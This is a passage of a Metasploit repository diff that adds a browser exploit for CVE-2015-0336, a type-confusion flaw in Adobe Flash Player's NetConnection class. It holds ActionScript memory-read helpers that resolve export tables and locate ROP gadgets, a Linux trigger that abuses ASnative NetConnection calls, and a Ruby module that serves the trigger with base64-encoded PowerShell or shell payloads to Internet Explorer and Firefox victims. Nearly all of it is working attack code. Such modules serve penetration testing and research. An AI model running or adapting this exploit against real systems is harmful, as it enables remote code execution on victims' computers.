name.toUpperCase()) break + } + return base(eba.read(addr + eba.read(iat + i * 0x14 + 16))) + } + + public function procedure(name:String, addr:uint):uint + { + var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78) + var numberOfNames:uint = eba.read(eat + 0x18) + var addressOfFunctions:uint = addr + eba.read(eat + 0x1c) + var addressOfNames:uint = addr + eba.read(eat + 0x20) + var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24) + var proc_name:String + + for (var i:uint = 0; ; i++) { + var entry:uint = eba.read(addressOfNames + i * 4) + proc_name = eba.read_string(addr + entry, name.length + 2) + if (proc_name.toUpperCase() == name.toUpperCase()) break + } + return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4) + } + + public function gadget(gadget:String, hint:uint, addr:uint):uint + { + var find:uint = 0 + var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50) + var value:uint = parseInt(gadget, 16) + for (var i:uint = 0; i < limit - 4; i++) if (value == (eba.read(addr + i) & hint)) break + return addr + i + } + } +} diff --git a/external/source/exploits/CVE-2015-0336/TriggerLinux/TriggerLinux.as2proj b/external/source/exploits/CVE-2015-0336/TriggerLinux/TriggerLinux.as2proj new file mode 100755 index 0000000000..579960bd86 --- /dev/null +++ b/external/source/exploits/CVE-2015-0336/TriggerLinux/TriggerLinux.as2proj @@ -0,0 +1,60 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-0336/TriggerLinux/src/Main.as b/external/source/exploits/CVE-2015-0336/TriggerLinux/src/Main.as new file mode 100755 index 0000000000..8dbada53c8 --- /dev/null +++ b/external/source/exploits/CVE-2015-0336/TriggerLinux/src/Main.as @@ -0,0 +1,18 @@ +// Build with FlashDevelop, its command line is: +// fdbuild.exe "Trigger.as2proj" -ipc 22ef73b0-fe1e-4cd0-8363-4650575d43b6 -version "1.14" -compiler "C:\Program Files\FlashDevelop\Tools\mtasc" -notrace -library "C:\Program Files\FlashDevelop\Library" +class Main +{ + public static function main(swfRoot:MovieClip):Void + { + var _loc2_ = _global.ASnative(2100, 0x956c2000); + var _loc3_ = new Object(); + _loc2_.__proto__ = _loc3_; + _global.ASnative(2100, 200)(_loc3_); //Netconnection constructor + _global.ASnative(2100, 8).apply(_loc2_, [1]); //NetConnection.farID + } + + public function Main() + { + } + +} \ No newline at end of file diff --git a/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb b/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb new file mode 100644 index 0000000000..8412136cf0 --- /dev/null +++ b/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb @@ -0,0 +1,168 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Powershell + include Msf::Exploit::Remote::BrowserExploitServer + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Adobe Flash Player NetConnection Type Confusion', + 'Description' => %q{ + This module exploits a type confusion vulnerability in the NetConnection class on + Adobe Flash Player. When using a correct memory layout this vulnerability allows + to corrupt arbitrary memory. It can be used to overwrite dangerous objects, like + vectors, and finally accomplish remote code execution. This module has been tested + successfully on: + * Windows 7 SP1 (32-bit) with IE 8, IE11 and Adobe Flash 16.0.0.305 + * Linux Mint "Rebecca" (32 bits), and Ubuntu 14.04.2 LTS with Firefox 33.0 and + Adobe Flash 11.2.202.404. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Natalie Silvanovich', # Vulnerability discovery and Google Project Zero Exploit + 'Unknown', # Exploit in the wild + 'juan vazquez' # msf module + ], + 'References' => + [ + ['CVE', '2015-0336'], + ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-05.html'], + ['URL', 'http://googleprojectzero.blogspot.com/2015/04/a-tale-of-two-exploits.html'], + ['URL', 'http://malware.dontneedcoffee.com/2015/03/cve-2015-0336-flash-up-to-1600305-and.html'], + ['URL', 'https://www.fireeye.com/blog/threat-research/2015/03/cve-2015-0336_nuclea.html'], + ['URL', 'https://blog.malwarebytes.org/exploits-2/2015/03/nuclear-ek-leverages-recently-patched-flash-vulnerability/'] + ], + 'Payload' => + { + 'DisableNops' => true + }, + 'Platform' => ['win', 'unix'], + 'Arch' => [ARCH_X86, ARCH_CMD], + 'BrowserRequirements' => + { + :source => /script|headers/i, + :arch => ARCH_X86, + :os_name => lambda do |os| + os =~ OperatingSystems::Match::LINUX || + os =~ OperatingSystems::Match::WINDOWS_7 + end, + :ua_name => lambda do |ua| + case target.name + when 'Windows' + return true if ua == Msf::HttpClients::IE + when 'Linux' + return true if ua == Msf::HttpClients::FF + end + + false + end, + :flash => lambda do |ver| + case target.name + when 'Windows' + return true if ver =~ /^16\./ && Gem::Version.new(ver) <= Gem::Version.new('16.0.0.305') + when 'Linux' + return true if ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.442') + end + + false + end + }, + 'Targets' => + [ + [ 'Windows', + { + 'Platform' => 'win', + 'Arch' => ARCH_X86 + } + ], + [ 'Linux', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Mar 12 2015', + 'DefaultTarget' => 0)) + end + + def exploit + @swf = create_swf + @trigger = create_trigger + + super + end + + def on_request_exploit(cli, request, target_info) + print_status("Request: #{request.uri}") + + if request.uri =~ /\.swf$/ + print_status('Sending SWF...') + send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) + return + end + + print_status('Sending HTML...') + send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) + end + + def exploit_template(cli, target_info) + swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" + + if target.name =~ /Windows/ + target_payload = get_payload(cli, target_info) + psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true}) + b64_payload = Rex::Text.encode_base64(psh_payload) + platform_id = 'win' + elsif target.name =~ /Linux/ + target_payload = get_payload(cli, target_info.merge(arch: ARCH_CMD)) + b64_payload = Rex::Text.encode_base64(target_payload) + platform_id = 'linux' + end + + trigger_hex_stream = @trigger.unpack('H*')[0] + + html_template = %Q| + + + + + + + + + + + | + + return html_template, binding() + end + + def create_swf + path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'msf.swf') + swf = ::File.open(path, 'rb') { |f| swf = f.read } + + swf + end + + def create_trigger + if target.name =~ /Linux/ + path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'trigger_linux.swf') + else + path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'trigger.swf') + end + + swf = ::File.open(path, 'rb') { |f| swf = f.read } + + swf + end +end diff --git a/modules/exploits/windows/browser/adobe_flash_net_connection_confusion.rb b/modules/exploits/windows/browser/adobe_flash_net_connection_confusion.rb index 9d5fb19f54..3bcb6a7130 100644 --- a/modules/exploits/windows/browser/adobe_flash_net_connection_confusion.rb +++ b/modules/exploits/windows/browser/adobe_flash_net_connection_confusion.rb @@ -10,6 +10,9 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Powershell include Msf::Exploit::Remote::BrowserExploitServer + include Msf::Module::Deprecated + + deprecated(Date.new(2015, 7, 27), 'exploit/multi/browser/adobe_flash_net_connection_confusion') def initialize(info={}) super(update_info(info,